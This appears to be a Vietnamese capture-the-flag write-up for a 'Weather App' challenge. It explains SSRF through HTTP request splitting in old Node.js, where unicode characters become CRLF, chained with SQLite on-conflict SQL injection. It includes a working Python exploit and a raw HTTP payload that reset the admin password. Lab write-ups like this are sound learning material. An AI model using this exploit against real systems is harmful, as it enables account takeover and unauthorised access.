Weather App

Tóm tắt
Đây lại là một bài Whitebox, cần một chút hiểu biết(đã từng làm) về các lỗ hổng khác để có thể hoàn thành bài.
Điểm đang chú ý nhất là việc lỗi dẫn đến lỗ hổng SSRF ở bài này là việc chuyển đổi từ String tới bytes có thể dẫn tới lỗ hổng.
Walkthrough

Lướt qua ứng dụng cũng không có gì ngoài việc ứng dụng đưa ra dữ liệu về thời tiết hiện tại. Phải lướt qua source để tìm kiếm thêm API.

Flag sẽ được đưa ra khi chúng ta login được vào tài khoản admin. Ngoài ra, còn một API cho phép ta đăng ký tài khoản mới và tại đây tồn tại lỗ hổng SQL Injection (cái này tác giả cũng cẩn thận note lại cho mọi người).

Việc xử lý tài khoản admin được tạo ban đầu có thể bypass tương tự như trong MYSQL với SQLite on Conflict. Nhưng một vấn đề ở đây là việc đăng kí chỉ có phép từ Local!

Mình lúc đầu cũng ngây thơ khi tìm cách bypass cái regex này thông qua việc sửa Header để bypass nhưng mọi nỗ lực tìm kiếm đều chỉ ra việc bypass cái regex này là không thể =)))
Quay ra tìm thêm được một đoạn API thời tiết để lấy thông tin có thể Injection nhưng API cũng chỉ là để đổ dữ liệu ra Frontend, không thấy sử dụng phía Server side.

Cuối cùng quay lại với file Docker thì phát hiện khá hay là ứng dụng này dùng Nodejs v8.12.0 một phiên bản khá là cũ với phiên bản LTS hiện tại là v14 và v12 tức là còn trước cả v10. Tìm hiểu một hồi lâu thì phiên bản này tồn tại khá nhiều lỗ hổng, đặc biệt có vài lỗ hổng liên quan tới SSRF thông qua Request Splitting, và mình lang thang một hồi tìm được bài này Security bugs: SSRF via Request Splitting .
Tóm váy nhanh thì như sau:
http.get()nhận vào đối số là mộtstring.- Nhưng việc thực hiện gửi
HTTP requestthì cần sử dụng làbytes arraychứ không thể thực hiện trênstring. Do đó các string khi được đưa vào sẽ đồng thời chuyển về bytes array và escape các kí tự đặc biệt. - Việc thực hiện này lại sử dụng việc decoding mặc định của Nodejs thông qua bộ mã hóa
latin1nếu không có body. - Bộ mã hóa này không thể hiện các ký tự unicode high-numbered unicode, mà chỉ biểu diễn bằng cách chỉ sử dụng phần low-numbered unicode.
> v = "/caf\u{E9}\u{01F436}"
'/café🐶'
> Buffer.from(v, 'latin1').toString('latin1')
'/café=6'
- Do đó, có thể chèn các kí tự ngắt (
CRLF) để có thể thực hiệnRequest Splittingbằng cách sử dụng các ký tự\u010A\u010Dthì sẽ trở thành ký tự ngắtCRLFkhi được gửi đi.
Quay lại với cái lỗ hổng ở mã nguồn ở trên thì việc có thể thực hiện chuyển mật khẩu tài khoản admin thông qua Request splitting tới API lấy dữ liệu thời tiết.
Request cần gửi sẽ có dạng như sau, nhớ là giữa các request cần loại bỏ HeaderConnection: close để tránh đóng kết nối khi tất cả các request chưa được chạy hết, chỉ để lại Header này ở request cuối cùng.
GET /api...<start here> HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
username=admin&password=123') on conflict(username) do update set password='d3s34'-- -
GET /..<end here> HTTP/1.1
Host: 127.0.0.1
Connection: close
Để thực hiện đoạn body ở giữ thì cần đưa ngắt dòng của HTTP Request vào thông qua lỗ hổng phía trên của NodeJs. Đoạn code exploit mình viết được sẽ như sau:
def exploit():
crlf = "\u010D\u010A"
space = "\u0120"
username = "admin"
password="1') on conflict(username) do update set password='d3s34';-- -"\
.replace(" ", space)\
.replace("'", "%27")
payload = f"{space}HTTP/1.1{crlf}" \
f"Host:{space}127.0.0.1{crlf}" \
f"{crlf}" \
\
f"POST{space}/register{space}HTTP/1.1{crlf}" \
f"Host:{space}127.0.0.1{crlf}" \
f"Content-Type:{space}application/x-www-form-urlencoded{crlf}" \
f"Content-Length:{space}{len(username) + len(password) + len('username=&password=')}{crlf}" \
f"{crlf}" \
f"username={username}&password={password}{crlf}" \
f"{crlf}" \
\
f"GET{space}/VN"
data = {
"endpoint": "127.0.0.1",
"city": "Hanoi",
"country": "VN" + payload
}
response = requests.post(url="http://188.166.173.208:31625/api/weather", data=data)
Và kết quả sẽ đăng nhập được thông qua mật khẩu Injection được ở trên.


